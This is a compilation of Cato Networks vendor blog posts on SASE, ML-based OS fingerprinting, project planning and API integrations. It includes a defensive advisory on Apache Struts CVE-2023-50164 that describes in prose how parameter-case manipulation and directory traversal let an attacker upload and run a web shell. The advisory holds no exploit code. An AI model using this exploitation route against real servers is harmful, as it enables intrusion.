It’s against this backdrop that Cato has expanded our AI work in two important ways towards achieving the goal of the experience of enterprise security simpler and smarter. We recognize that security teams need to share their insights with other IT members. It can be challenging for security experts to summarize succinctly the story behind a threat and for novice security personnel to interpret a dashboard of indicators. So, we tapped generative AI to write a one-paragraph summary of the security indicators leading to an analyst’s given conclusion.
Story summary is automatically generated by generative AI.
We also wanted to find a way to identify and rank threats even faster and more accurately. We tapped AI and ML in the past to accomplish this goal, but today we are expanding those efforts. Using distancing algorithms, we identify similarities between new security stories with other stories in a customer’s account and across all Cato accounts.
This means that Cato customers directly benefit from knowledge and experience gained across the entire Cato community. And that’s significant because there’s a very, very good chance that the story you’re trying to evaluate today was already seen by some other Cato customer. So, we can make that identification and rank the threat for you faster and easier.
Story similarity quickly identifies and ranks new stories based on past analysis of other similar stories in a customer’s or third-party accounts.
A SASE Platform and AI/ML – A Winning Combination
The expansion of AI/ML into threat detection analytics and its use in summarizing security findings are important in simplifying security operations. However, AI/ML alone cannot address the range of security challenges facing today’s enterprise.
Organizations must first address the underlying architectural issues that make security so challenging. Only by replacing disparate security products and tools with a single, converged global platform can AI be something more than, well, window dressing.

Whistleblowers of a Fake SASE are IT’s Best Friends History taught us that whistleblowers can expose the darkest secrets and wrongdoing of global enterprises, governments and public services; even prime ministers and presidents. Whistleblowers usually have a deep sense of justice and responsibility that drives them to favor the good of the many over their own. Often, their contribution is really appreciated only in hindsight.
In an era where industry buzz around new technologies such as SASE is exploding, vendors who are playing catch-up can be tempted to take shortcuts, delivering solutions that look like the real thing but really aren’t. With SASE, it is becoming very hard for IT teams to filter through the noise to understand what is real SASE and what is fake. What can deliver the desired outcomes and what might lead to a great disappointment.
Helpfully for IT teams, the whistleblowers of fake SASE solutions have already blown their whistles loud and clear. All we need to do is listen to their warnings, to the red flags they are waiving in our faces, and carefully examine every SASE (true or fake) solution to identify its’ real essence.
The Fragmented Data Lake Whistleblower
As more and more legacy products such as firewalls, SWG, CASB, DLP, SD-WAN and others are converging into one SASE platform, it can only be expected that all the events they generate will converge as well, forming one unified data lake that can be easily searched through and filtered. This is still not the case with many vendor’s offerings.
Without a ready-made, unified data lake, enterprises need a SIEM solution, into which all the events from the different portfolio products will be ingested. This makes the work of SIEM integration and data normalization a task for the IT team, rather than a readily available functionality of the SASE platform.
Beyond the additional work and complexity, event data normalization almost always means data reduction, leading to less visibility about what is really happening on the enterprise network and security. Conversely, the unified data lake from a true single-vendor SASE solution will be populated with native data that gives rich visibility and a real boost to advanced tools such as XDR.
Think carefully if an absence of a ready-made unified data lake is something you are willing to compromise on, or should this red flag, forcefully waved by the data lake whistleblower, be one of your key decision factors.
The Multiple Management Apps Whistleblower
One of the most frustrating and time-consuming situations in the day-to-day life of IT teams is jumping between oh so many management applications to understand what is happening, what needs attention, troubleshooting issues, policy configuration and even periodic auditing.
SASE is meant to dramatically reduce the number of management applications for the enterprise. It should be a direct result of vendor consolidation and product convergence. It really should.
But some vendors (even big, established ones) offer a SASE built with multiple products and (you guessed it) multiple management applications, rather than a single-platform SASE with one management application.
With these vendors, it’s bad enough having to jump between management applications, but it can also mean having to implement policies separately in multiple applications.
The management whistleblower is now exhausting the air in her lungs, drawing your attention to what might not be the time saving and ease of use you may be led to expect. Some might like the overflow of management applications in their job, but most don’t.
Multiple managements applications can be hidden by a ‘management-of-managements’ layer. It might be a good solution in theory, but in practice – it means that every change, bug fix, and new feature needs to be implemented and reflected in all the management applications. Are you sure your vendor can commit to that?
[boxlink link="https://catonetworks.easywebinar.live/registration-making-sure-sase-projects-are-a-success"] Making Sure SASE Projects Are a Success | Watch the Webinar [/boxlink]
The Asymmetric PoPs Whistleblower
This one is probably the hardest one to expose, but once seen – it cannot be unseen.
Vendors who did not build their SASE from the ground up as a cloud-native software often take shortcuts in the race to market. They create service PoPs (Points of Presence) by deploying their legacy point products as virtual machines on a public cloud like GCP, AWS or Azure. This is an expensive strategy to take on, and an extremely complex operation to build and maintain with an SLA that fits critical IT infrastructure requirements.
Some may think this is meaningless, and that as long as the customer is getting the service they paid for, why should they care. Well, here is why.
To reduce the high IaaS costs and the operational complexity, such vendors will intentionally avoid offering all their SASE capabilities from all of their PoPs. The result of this asymmetric PoP architecture is degraded application performance and user experience, due to the need to route some or all traffic to a distant PoP for processing and inspection. So, when users come in complaining, do you think that saying you are supporting the cost saving of the SASE vendor will be a reasonable explanation?
The asymmetric PoPs whistleblower recommends that you double check with every SASE vendor that all their PoPs are symmetric, and that wherever your users and applications are, all the SASE services will be delivered from the nearest one PoP.
Epilogue
Whistleblowers are usually not fun to listen to. They challenge and undermine our believes and perception, taking us out of our comfort zone.
The three whistleblowers here mean no harm, only wanting to help minimize the risk of failure and disappointment. They blow their whistles and wave their red flags to warn you to proceed with caution, educate yourself, and select your strategic SASE vendor with eyes wide open.

3 Things CISOs Can Immediately Do with Cato Wherever you are in your SASE or SSE journey, it can be helpful knowing what other CISOs are doing once they've implemented these platforms. Getting started with enhanced security is a lot easier than you might think. With Cato’s security services being delivered from a scalable cloud-native architecture at multiple global points of presence, the value is immediate.
In this blog post, we bring the top three things you, as a CISO, can do with Cato. From visibility to real-time security to data sovereignty, Cato makes it easy to create consistent policies, enable zero trust network access, and investigate security and networking issues all in one place.
To read more details about each of these steps, understand the inner workings of Cato’s SASE/SSE and to see what you would be able to view in Cato’s dashboards, you can read the ebook “The First 3 Things CISOs Do When Starting to Use Cato", which this blog post is based on, here.
Now let’s dive into the top three capabilities and enhancements CISOs gain from Cato:
1. Comprehensive Visibility
With Cato, CISOs achieve complete visibility into all activity, once traffic flows through the Cato SASE Cloud. This includes security events, networking and connectivity events for all users and locations connected to the service.
This information can be viewed in the Cato Management Application:
The events page shows the activity and enables filtering, which supports investigation and incident correlation.
The Cloud Apps Dashboard presents a holistic and interactive view of application usage, enabling the identification of Shadow IT.
Cato’s Apps Catalog provides an assessment of each application’s profile and a risk score, enabling CISOs to evaluate applications and decide if and how to enable the app and which policies to configure.
Application analytics show the usage of a specific application, enabling CISOs or practitioners to identify trends for users, sites and departments. This helps enforce zero trust, design policies and identify compromised applications.
Comprehensive visibility supports day-to-day management as well as the ability to easily report to the board on application usage, risk level and blocked threats. It also supports auditing needs.

2. Consistent Real-Time Threat Prevention
Cato’s SSE 360’s cloud-native architecture enables protecting all traffic with no computing limitation. Multiple security updates are carried out every day.
The main services include:
Real Time Threat Prevention Engines - FWaaS, SWG, IPS, Next-Generation Anti-Malware and more are natively a part of Cato’s SASE Platform, detecting and blocking threats, and always up-to-date.
Cato’s threats dashboard - A high-level view of all threat activity, including users, threat types and threat source countries, for investigation or policy change considerations.
MITRE ATT&CK dashboard - A new dashboard that aligns logged activity with the MITRE ATT&CK framework, enabling you to see the bigger picture of an attack or risk.
24x7 MDR service provided by Cato’s SOC - A service that leverages ML to identify anomalies and Cato’s security experts to investigate them.
3. Data Sovereignty
Cato provides DLP and CASB capabilities to support data governance.
DLP prevents sensitive information, like source code, PCI data, or PII data, from being uploaded or downloaded. The DLP dashboard shows how policies are configured and performing, enabling the finetuning of DLP rules and helping identify data exfiltration attempts or the need for user training.
CASB controls how users interact with SaaS applications and prevents users uploading data to third party services as well as establishing broader security standards based on compliance, native security features, and risk score
Future Growth for CISOs
CISOs who have adopted Cato’s SASE or SSE360 can readily expect future growth, since appliance deployment and supply chain constraints are no longer blockers for their progress.
You can easily onboard new users and locations to gain visibility and protection and policy application. It’s also easy to add new functionalities and enable new policies, reducing the time to value for any new capability.
With Cato, your company’s policies are consistently enforced and all your users and locations are protected from the latest threats.

Machine Learning in Action – An In-Depth Look at Identifying Operating Systems Through a TCP/IP Based Model In the previous post, we’ve discussed how passive OS identification can be done based on different network protocols. We’ve also used the OSI model to categorize the different indicators and prioritize them based on reliability and granularity. In this post, we will focus on the network and transport layers and introduce a machine learning OS identification model based on TCP/IP header values.
So, what are machine learning (ML) algorithms and how can they replace traditional network and security analysis paradigms? If you aren’t familiar yet, ML is a field devoted to performing certain tasks by learning from data samples. The process of learning is done by a suitable algorithm for the given task and is called the “training” phase, which results in a fitted model. The resulting model can then be used for inference on new and unseen data.
ML models have been used in the security and network industry for over two decades. Their main contribution to network and security analysis is that they make decisions based on data, as opposed to domain expertise (i.e., they are data-driven). At Cato we use ML models extensively across our service, and in this post specifically we’ll delve into the details of how we enhanced our OS identification engine using a TCP/IP based model.
For OS identification, a network analyst might create a passive network signature for detecting a Windows OS based on his knowledge on the characteristics of the Windows TCP/IP stack implementation. In this case, he will also need to be familiar with other OS implementations to avoid false positives. However, with ML, an accurate network signature can be produced by the algorithm after training on several labeled network flows from different devices and OSs. The differences between the two approaches are illustrated in Figure 1.
Figure 1: A traditional paradigm for writing identification rules vs. a machine learning approach.
In the following sections, we will demonstrate how an ML model that generates OS identification rules can be created using a Decision Tree. A decision tree is a good choice for our task for a couple of reasons. Firstly, it is suitable for multiclass classification problems, such as OS identification, where a flow can be produced from various OS types (Windows, Linux, iOS, Android, Linux, and more). But perhaps even more importantly, after being trained, the resulting model can be easily converted to a set of decision rules, with the following form:
if condition1 and condition 2 … and condition n then label
This means that your model can be deployed on environments with minimal dependencies and strict performance limits, which are common requirements for network appliances such as packet filtering firewalls and deep packet inspection (DPI) intrusion prevention systems (IPS).
How do decision trees work for classification tasks?
In this section we will use the following example dataset to explain the theory behind decision trees. The dataset represents the task of classifying OSs based on TCP/IP features. It contains 8 samples in total, captured from 3 different OSs: Linux, Mac, and Windows. From each capture, 3 elements were extracted: IP initial time-to-live (ITTL), TCP maximum segment size (MSS), and TCP window size.
Figure 2: The training dataset with 8 samples, 3 features, and 3 classes.
Decision trees, as their name implies, use a tree-based structure to perform classification. Each node in the root and internal tree levels represents a condition used to split the data samples and move them down the tree. The nodes at the bottom level, also called leaves, represent the classification type. This way, the data samples are classified by traversing the tree paths until they reach a leaf node. In Figure 3, we can observe a decision tree created from our dataset. The first level of the tree splits our data samples based on the “IP ITTL” feature. Samples with a value higher than 96 are classified as a Windows OS, while the rest traverse down the tree to the second level decision split.
Figure 3: A simple decision tree for classifying an OS.
So, how did we create this tree from our data? Well, this is the process of learning that was mentioned earlier. Several variations exist for training a decision tree; In our example, we will apply the well-known Classification and Regression Tree (CART) algorithm.
The process of building the tree is done from top to bottom, starting from the root node. In each step, a split criterion is selected with the feature and threshold that provide the best “split quality” for the data in the current node. In general, split criterions that divide the data into groups with more homogeneous class representation (i.e., higher purity) are considered to have a better split quality. The CART algorithm measures the split quality using a metric called Gini Impurity. Formally, the metric is defined as:
Where 𝐶 denotes the number of classes in the data (in our case, 3), and 𝑝 denotes the probability for that class, given the data in the current node. The metric is bounded between 0 and 1 the represent the degree of node impurity. The quality of the split criterion is then defined by the weighted sum of the Gini Impurity values of the nodes below. Finally, the split criterion that gives to lowest weighted sum of the Gini Impurities for the bottom nodes is selected.
In Figure 4, we can see an example for selecting the first split criterion of the tree. The root node of tree, containing all data samples, has the Gini Impurity values of:
Then, given the split criterion of “IP ITTL <= 96”, the data is split to two nodes. The node that satisfies the condition (left side), has the Gini Impurity values of:
While the node that doesn’t, has the Gini Impurity values of:
Overall, the weighted sum for this split is:
This value is the minimal Gini Impurity of all the candidates and is therefore selected for the first split of the tree. For numeric features, the CART algorithm selects the candidates as all the midpoints between sequential values from different classes, when sorted by value. For example, when looking at the sorted “IP ITTL” feature in the dataset, the split criterion is the midpoint between IP ITTL = 64, which belongs to a Mac sample, and IP ITTL = 128, which belongs to a Windows sample. For the second split, the best split quality is given by the “TCP MSS” features, from the midpoint between TCP MSS = 1386, which belongs to a Mac sample, and TCP MSS = 1460, which belongs to a Linux sample.
Figure 4: Building a tree from the data – level 1 and level 2. The tree nodes display: 1. Split criterion, 2. Gini Impurity value, 3. Number of data sample from each class.
In our example, we fully grow our tree until all the leaves have a homogenous class representation, i.e., each leaf has data samples from a single class only. In practice, when fitting a decision tree to data, a stopping criterion is selected to make sure the model doesn’t overfit the data. These criteria include maximum tree height, minimum data samples for a node to be considered a leaf, maximum number of leaves, and more. In case the stopping criterion is reached, and the leaf doesn’t have a homogeneous class representation, the majority class can be used for classification.

From tree to decision rules
The process of converting a tree to rules is straight forward. Each route in the tree from root to leaf node is a decision rule composed from a conjunction of statements. I.e., If a new data sample satisfies all of statements in the path it is classified with the corresponding label.
Based on the full binary tree theorem, for a binary tree with 𝑛 nodes, the number of extracted decision rules is (𝑛+1)/ 2. In Figure 5, we can see how the trained decision tree with 5 nodes, is converted to 3 rules.
Figure 5: Converting the tree to a set of decision rules.
Cato’s OS detection model
Cato’s OS detection engine, running in real-time on our cloud, is enhanced by rules generated by a decision tree ML model, based on the concepts we described in this post. In practice, to gain a robust and accurate model we trained our model on over 10k unique labeled TCP SYN packets from various types of devices. Once the initial model is trained it also becomes straightforward to re-train it on samples from new operating systems or when an existing networking implementation changes.
We also added additional network features and extended our target classes to include embedded and mobile OSs such as iOS and Android. This resulted in a much more complex tree that generated 125 different OS detection rules. The resulting set of rules that were generated through this process would simply not have been feasible to achieve using a manual work process. This greatly emphasizes the strength of the ML approach, both the large scope of rules we were able to generate and saving a great deal of engineering time.
Figure 6: Cato’s OS detection tree model. 15 levels, 249 nodes, and 125 OS detection rules.
Having a data-driven OS detection engine enables us to keep up with the continuously evolving landscape of network-connected enterprise devices, including IoT and BYOD (bring your own device). This capability is leveraged across many of our security and networking capabilities, such as identifying and analyzing security incidents using OS information, enforcing OS-based connection policies, and improving visibility into the array of devices visible in the network.
An example of the usage of the latter implementation of our OS model can be demonstrated in Figure 7, the view of Device Inventory, a new feature giving administrators a full view of all network connected devices, from workstations to printers and smartwatches. With the ability to filter and search through the entire inventory. Devices can be aggregated by different categories, such as OS shown below or by the device type, manufacturer, etc.
Figure 7: Device Inventory, filtering by OS using data classified using our models
However, when inspecting device traffic, there is other significant information besides OS we can extract using data-driven methods. When enforcing security policies, it is also critical to learn the device hardware, model, installed application, and running services. But we'll leave that for another post.
Wrapping up
In this post, we’ve discussed how to generate OS identification rules using a data-driven ML approach. We’ve also introduced the Decision Tree algorithm for deployment considerations on minimal dependencies and strict performance limits environments, which are common requirements for network appliances. Combined with the manual fingerprinting we’ve seen in the previous post; this series provides an overview of the current best practices for OS identification based on network protocols.

The Path to SASE: A Project Planning Guide Breaking Free from Legacy Constraints
Enterprises often find themselves tethered to complex and inflexible network architectures that impede their journey towards business agility and operational efficiency. Secure Access Service Edge, or SASE, a term coined by Gartner in 2019, defines a newer framework that converges enterprise networking and security point solutions into a single, secure, cloud-native, and globally distributed solution that secures all edges.
SASE represents a strategic response to the changing needs and challenges of modern enterprises, delivering a secure, resilient, and optimized foundation essential to achieving the expected outcomes of digital transformation. But digital transformation can be hard to define in practice. It can be an iterative process of researching, planning, and evaluating what changes will yield the most benefit for your organization.
This blog post provides a practical roadmap for SASE project planning, incorporating essential considerations and key recommendations that will help guide your path to a successful implementation, meeting the needs of your business now, and in the future. Let's take the first step.
Start With the Stakeholders
For a successful SASE migration, it's extremely beneficial to unite security and network operations teams (if such unity does not already exist). This collaboration ensures both the security and performance aspects of the network are considered. Appointing a neutral project leader is recommended – they'll ensure all requirements are met and communicated effectively.
Take a tip from Gartner and engage owners of strategic applications, and workforce and branch office transformational teams. Collaboration is key, especially if there is a broader, company-wide digital transformation project in planning or in effect.
Setting Sail: Defining Your SASE Objectives
Your SASE project should include clear objectives tailored to the unique needs of your business. Common goals for a SASE implementation include facilitating remote work and access, supporting global operations, enabling Secure Direct Internet Access (DIA), optimizing cloud connectivity, consolidating vendors, and embracing a Zero Trust, least privilege strategy to safeguard your network and establish a robust security posture.
Plan to align your network and security policies with evolving organizational needs and processes, ensuring full data visibility, control, and threat protection. Prioritize a consistent user experience, and foster digital dexterity with a cloud-delivered solution that can cater to anticipated and unexpected needs.
Blueprinting Success: Gathering Requirements
It's essential to identify the sites, users, and cloud resources that need connectivity and security. Plan not only for now but also for future growth to avoid disruptions later.
Pay attention to your applications. Real-time apps like voice and video can suffer from quality loss.
High Availability (HA) might also be a requirement for some of your sites. While most of HA responsibility lies with the SASE provider, there are steps your business can take to increase the resilience of site-based components.
Map all Users
Remote and mobile users who work from anywhere (WFA), are simply another edge. Ensuring a parallel experience to branch office peers across usability, security, and performance is crucial for these users. Map their locations to the PoPs offered by SASE providers, prioritizing proximity for minimized latency. Focus on SASE solutions hosting the security stack in PoPs where WFAs connect, eliminating the need to backhaul to the corporate datacenter, and supporting a single security policy for every user. This not only improves latency but also delivers a frictionless user experience.
Map all Cloud Resources
A vital component in SASE project planning is mapping all your cloud resources and applications (including SaaS applications), giving consideration to their physical locations in datacenters worldwide. The proximity of these datacenters to users directly affects latency and performance. Leading hosting companies and cloud platforms provide regional datacenters, allowing applications to be hosted closer to users. Identifying hosting locations and aligning them with a SASE solution’s PoPs in the cloud, that act as on-ramps to SaaS and other services, enhances application performance and provides a better user experience.
Plan for the Future: SASE’s Promise of Adaptability
Your network needs to be a growth enabler for your organization, adapting swiftly to planned and unknown future needs. Future-proofing your network is fundamental to avoiding building an inflexible solution that doesn't meet evolving requirements.
Typical events could include expanding into new locations which will require secure networking, M&A activity that may involve integrating disparate IT systems, or moving more applications to the cloud. Legacy architectures like MPLS offer challenges such as sourcing, integration, deployment, and management of multiple point products, often taking months or longer to turn up new capabilities. In contrast, a cloud-delivered SASE solution can be turned up in days or weeks, saving time and alleviating resource constraints.
Remember, if you are planning to move more applications to the cloud, it's important to identify SASE solutions with a distribution of PoPs that geographically align to where your applications are hosted, ensuring optimal application performance.

SASE Shopping 101: Writing an RFI
Once requirements have been identified, send out a Request for Information (RFI) to prospective SASE vendors. Ensure they grasp your business requirements, understand your goals, network resources, topology, and security stack, and can align their solution architecture with your specific needs. Dive deep into solution capabilities, customer and technical support models, and services. The RFI, in essence, sets the stage for informed decision-making before embarking on a Proof of Concept (PoC).
Step-by-Step: Planning a Gradual Deployment
With SASE, you can embrace a phased approach to implementation. Whether migrating from MPLS to SD-WAN, optimizing global connectivity, securing branch Internet access, accelerating cloud connectivity, or addressing remote access challenges, a gradual deployment helps mitigate risks. Start small, learn from initial deployments, and scale with confidence.
Presenting the SASE Proposition: Board Approval
Getting buy-in from the Board is essential for network transformation projects. Position SASE as a strategic enabler for IT responsiveness, business growth, and enhanced security. Articulate its long-term financial impact, emphasizing ROI. Leverage real-world data and analyst insights to highlight the tangible benefits of SASE.
Unifying Forces: Building Consensus
Securing sponsorship from networking and security teams is critical. Highlight SASE’s strategic value across the enterprise, showcasing its ability to simplify complexity, reduce security risks, and streamline IT efforts. A successful SASE implementation facilitates initiatives like cloud migration, remote work, UCaaS, and global expansion, and empowers security professionals to mitigate risk effectively – essentially allowing them to meet the requirements of their roles. By simplifying protection schemes, enhancing network visibility, improving threat detection and response, and unifying security policies, SASE alleviates common security challenges effortlessly.
The SASE Test Drive: Running a Successful PoC
Before committing to a specific SASE solution, embark on a Proof of Concept (PoC). Keep it simple; focus on a few vendors, one or two specific use cases, and limit the PoC to a 30 or 60-day timeline. Test connectivity (across different global locations), application performance, and user experience. Evaluate how well the solution integrates with legacy equipment if that is to remain after SASE implementation. Remember, not all SASE solutions are created equal, so you'll need to document successes and challenges, and determine metrics for side-by-side vendor comparisons – laying the groundwork for an informed decision.
The Final Frontier: Selecting your SASE
Armed with comprehensive planning, stakeholder buy-in, and PoC insights, it’s time to make the decision. In determining the right fit for your organization, choose the SASE solution that aligns seamlessly with your business goals and objectives, offers scalability, agility, robust security, and demonstrates a clear ROI.
In Conclusion
By now, you've gained valuable insights into the essential requirements and considerations for planning a successful SASE project. This blog serves as your initial guide on your journey to SASE. Recognize that enterprise needs vary, making each project unique.
Cato Networks’ whitepaper “How to Plan a SASE Project” has been an invaluable resource for enterprise IT leaders, offering deep and detailed insights that empower strategic decision-making. For a more comprehensive exploration into SASE project planning, download the whitepaper here.

How to Build the Perfect Network Without SLAs If you are used to managed MPLS services, transitioning to Internet last-mile access as part of SD-WAN or SASE might cause some concern. How can enterprises ensure they are getting a reliable network if they are not promised end-to-end SLAs? The answer: by dividing the enterprise backbone into the two last miles connected by a middle mile and then applying appropriate redundancy and failover systems and technologies in each section. In this blog post we explain how SD-WAN and SASE ensure higher reliability and network availability than legacy MPLS and why SLAs are actually overrated.
This blog post is based on the ebook “The Future of the SLA: How to Build the Perfect Network Without MPLS”, which you can read here.
The Challenge with SLAs
While SLAs might create a sense of accountability, in reality enforcing penalties for missing an SLA has always been problematic. Exclusions limit the scope of any SLAs penalty. Even if the SLA penalties are gathered, they never completely compensate the enterprise for the financial and business damage resulting from downtime.
And the last-mile infrastructure requirements for end-to-end SLAs often limited them to only the most important locations. Affordable last-mile redundancy, running active/active last-mile connections with automatic failover, wasn’t feasible for mid to small-sized locations. Until now.
SD-WAN/SASE: The Solution to the Performance Problem
SD-WANs disrupt the legacy approach for designing inherently reliable last-mile networks. By separating the underlay (Internet or MPLS) from the overlay (traffic engineering and routing intelligence), enterprises can enjoy better performance at reduced costs, to any location.
Reduced Packet Loss - SD-WAN or SASE use packet loss compensation technologies to strengthen loss-sensitive applications. They also automatically choose the optimum path to minimize packet loss. In addition, Cato’s SASE enables faster packet recovery through its management of connectivity through a private network of global PoPs.
Improved Uptime - SD-WAN or SASE run active/active connections with automatic failover/failback improves last-mile, as well as diverse routing, to exceed even the up-time targets guaranteed by MPLS.

Reducing Latency in the Middle Mile
But while the last mile might be more resilient with SD-WAN and SASE, what about the middle mile? With most approaches the middle-mile includes the public Internet. The global public Internet is erratic, resulting in high latency and inconsistency. This is especially challenging for applications that offer voice, video or other real-time or mission-critical services.
To ensure mission-critical or loss-sensitive applications perform as expected, a different solution is required: a private middle mile. When done right, performance can exceed MPLS performance without the cost or complexity.
There are two main middle mile cloud alternatives:
1. Global Private Backbones
These are private cloud backbones offered by AWS and Azure for connecting third-party SD-WAN devices. However, this option requires complex provisioning and could result in some SD-WAN features being unavailable, limited bandwidth, routing limits, limited geographical reach and security complexities.
In addition, availability is also questionable. Uptime SLAs offered by cloud providers run 99.95% or ~264 minutes of downtime per year. Traditional telco service availability typically runs at four nines, 99.99% uptime for ~52 minutes of downtime per year.
2. The Cato Global Private Backbone
Cato’s edge SD-WAN devices automatically connect to the nearest Cato PoP into the Cato Global Private Backbone. The Cato backbone is a geographically distributed, SLA-backed network of 80+ PoPs, interconnected by multiple tier-1 carriers that commit to SLAs around long-haul latency, jitter and packet loss. Cato backs its network with 99.999% uptime SLA (~5m of downtime per year).
With Cato’s global private backbone, there is no need for the operational headache of HA planning and ensuring redundancy. As a fully distributed, self-healing service, Cato includes many tiers of redundancies across PoPs, nodes and servers.
Cato also optimizes the network by maximizing bandwidth, real-time path selection and packet loss correction, among other ways. Overall, Cato customers have seen 10x to 20x improved throughput when compared to MPLS or an all Internet connection, at a significantly lower cost than MPLS.
The Challenge with Telco Services
While a fully managed telco service might also seem like a convenient solution, it has its set of limitations:
Telco networks lack global coverage, requiring the establishment of third party relations to connect locations outside their operating area.
Loss of control and visibility, since telco networks limit enterprises' ability to change their WAN configuration themselves.
High costs, due to legacy and dedicated infrastructure and appliances.
Rigid service, due to reliance on the provider’s network and product expertise.
Do We Need SLAs?
Ensuring uptime can be achieved without SLAs. Technology can help. Separating the underlay from the overlay and the last mile from the middle mile results in a reliable and optimized global network without the cost or lock-in of legacy MPLS services.

Apache Struts 2 Remote Code Execution (CVE-2023-50164) – Cato’s Analysis and Mitigation By Vadim Freger, Dolev Moshe Attiya
On December 7th, 2023, the Apache Struts project disclosed a critical vulnerability (CVSS score 9.8) in its Struts 2 open-source web framework. The vulnerability resides in the flawed file upload logic and allows attackers to manipulate upload parameters, resulting in arbitrary file upload and code execution under certain conditions.
There is no known workaround, and the only solution is to upgrade to the latest versions, the affected versions being:
Struts 2.0.0 - Struts 2.3.37 (EOL)
Struts 2.5.0 - Struts 2.5.32
Struts 6.0.0 - Struts 6.3.0
The Struts framework, an open-source Java EE web application development framework, is somewhat infamous for its history of critical vulnerabilities. Those include, but are not limited to, CVE-2017-5638 which was the vector of the very public Equifax data breach in 2017 resulting in the theft of 145 million consumer records, which was made possible due to an unpatched Struts 2 server.
At the time of disclosure, there were no known attempts to exploit, but several days later on December 12th, a Proof-of-Concept (POC) was made publicly available. Immediately, we saw increased scanning and exploitation activity across Cato’s global network. Within one day, Cato had protected against the attack.
[boxlink link="https://www.catonetworks.com/rapid-cve-mitigation/"] Rapid CVE Mitigation by Cato Security Research [/boxlink]
Details of the vulnerability
The vulnerability is made possible by combining two flaws in Struts 2, allowing attackers to manipulate file upload parameters to upload and then execute a file.
This vulnerability stems from the manipulation of file upload parameters. The first flaw involves simulating the file upload, where directory traversal becomes possible along with a malicious file. This file upload request generates a temporary file corresponding to a parameter in the request. Under regular circumstances, the temporary file should be deleted after the request ends, but in this case, the temporary file is not deleted, enabling attackers to upload their file to the host.The second flaw is the case-sensitive nature of HTTP parameters. Sending a capitalized parameter and later using a lowercase parameter with the same name in a request makes it possible to modify a field without undergoing the usual checks and validations.
This creates an ideal scenario for employing directory traversal to manipulate the upload path, potentially directing the malicious file to an execution folder. From there, an attacker can execute the malicious file, for instance, a web shell to gain access to the server.
Cato’s analysis and response to the CVE
From our data and analysis at Cato’s Research Labs we have seen multiple exploitation attempts of the CVE across Cato customer networks immediately following the POC availability.Attempts observed range from naive scanning attempts to real exploitation attempts looking for vulnerable targets.
Cato deployed IPS signatures to block any attempts to exploit the RCE in just 24 hours from the date of the POC publication, protecting all Cato-connected edges – sites, remote users, and cloud resources -- worldwide from December 13th, 2023.
Nonetheless, Cato recommends upgrading all vulnerable webservers to the latest versions released by the project maintainers.

With New Third-Party Integrations, Cato Improves Reach and Helps Customers Cuts Costs Consider this: By the end of 2024, Gartner has projected that over 40% of enterprises will have explicit strategies in place for SASE adoption compared to just 1% in 2018. As the “poster child” of SASE (Forrester Research’s words not mine), Cato has seen first-hand SASE’s incredible growth not just in adoption by organizations of all sizes, but also in terms of third-party vendor requests to integrate Cato SASE Cloud into their software.
The Cato API provides the Cato SASE Experience programmatically to third parties. Converging security and networking information into a single API reduces ingestion costs a simplifies data retrieval. It’s this same kind of elegant, agile, and smart approach that typifies the Cato SASE Experience. Over the past year, nearly a dozen technology vendors released Cato integrations including Artic Wolf, Axonius, Google, Rapid7, Sekoia, and Sumo Logic. Cato channel partners, like UK-based Wavenet, have also done their own internal integrations, reporting significant ROI improvements.
“So many of vendors who didn’t give us the time-of-day are now approaching and telling us that their customers are demanding they integrate with Cato,” says Peter Lee, worldwide strategic sales engineer and Cato’s subject matter expert on the Cato API.
One API To Rule them All
As a single converged platform, Cato offers one API for fetching security, networking, and access data worldwide about any site, user, or cloud resource. A single request allowed developers to fetch information on a specific object, class of events or timeframe – from any location, user, and cloud entity, or for all objects across their Cato SASE Cloud account.
This single “window into the Cato world” is one of the telltale signs of a true SASE platform. Only by building a platform with convergence in mind could Cato create a single API for accessing events related to SD-WAN and networking, as well as security events from our SWG, CASB, DLP, RBI, ZTNA/SDP, IPS, NGAM, and FWaaS capabilities. All are delivered in the same format and structure for instant processing.
By contrast, product-centric approaches require developers to make multiple requests to each product and for each location. One request would be issued for firewall events, another for IPS events, still another for connectivity events for each enterprise location. Multiple locations will require separate requests. And each product would deliver data in a different format and structure, requiring further investment to normalize them before processing.

Channel Partners Realizes Better ROI Due to Cato API
The difference between the two is more than semantic; it reflects on the bottom line. Just ask Charlie Riddle. Riddle heads up product integration for Wavenet, a UK-based MSP offering a converged managed SOC service based on Microsoft and Cato SASE Cloud.
He had a customer who switched from ingesting data from legacy firewalls to ingesting data from Cato. “Cato’s security logs are so efficient that when ingested into our 24/7 Managed Security Operations Centre (SOC), a 500-user business with 20+ sites saved £2,000 (about $2,500) per month, about 30% of the total SOC cost, just in Sentinel log ingestion charges,” he says.
For Cato customers, Wavenet only needed to push the log data into its SIEM, not the full network telemetry data, to ensure accurate event correlation. And because Wavenet provides both the Cato network and the SOC, Wavenet’s SOC team is able to use Cato’s own security tools directly to investigate alerts and to respond to them, rather than relying only on EDR software or the SIEM itself. Managing the network and security together this way improves both threat detection and response, while reducing spend.
Partners Address a Range of Use Cases with Cato
Providing security, networking, and access data through one interface has led to a range of third-party integrations. SIEMs need to ingest Cato data for comprehensive incident and event management. Detection and response use Cato data to identify threats. Asset management systems tap Cato data to track what’s on the network.
Sekoia.io XDR, for example, ingests and enriches Cato SASE Cloud log and alerts to fuel their detection engines. "The one-click "cloud to cloud" integration between Cato SASE Cloud and Sekoia.io XDR allows our customers to leverage the valuable data produced by their Cato solutions and drastically improve their detection and orchestration capabilities within a modern SOC platform," Georges Bossert, CTO of Sekoia.io, a European cybersecurity company. (Click here for more information about the integration)
Another vendor, Sumo Logic, ingests Cato’s security and audit events, making it easy for users to add mission-critical context about their SASE deployment to existing security analytics, automatically correlate Cato security alerts with other signals in Sumo Logic’s Cloud SIEM, and simplify audit and compliance workflows.
“Capabilities delivered via a SASE leader like Cato Networks has become a critical part of modern organizations’ response to remote work, cloud migration initiatives, and the overall continued growth of SaaS applications required to run businesses efficiently,” said Drew Horn, Senior Director of Technology Alliances, Sumo Logic. “We’re excited to partner with Cato Networks and enable our joint customers the ability to effectively ensure compliance and more quickly investigate potential threats across their applications, infrastructure and digital workforce.” (Click here for more information about the Sumo Logic integration.)

How Long Before Governments Ban Use of Security Appliances? Enterprises in the private sector look to the US federal government for cybersecurity best practices. The US CISA (Cybersecurity & Infrastructure Security Agency) issues orders and directives to patch existing products or avoid use of others. The US NIST (National Institute of Standards and Technology) publishes important documents providing detailed guidance on various security topics such as its Cybersecurity Framework (CSF).
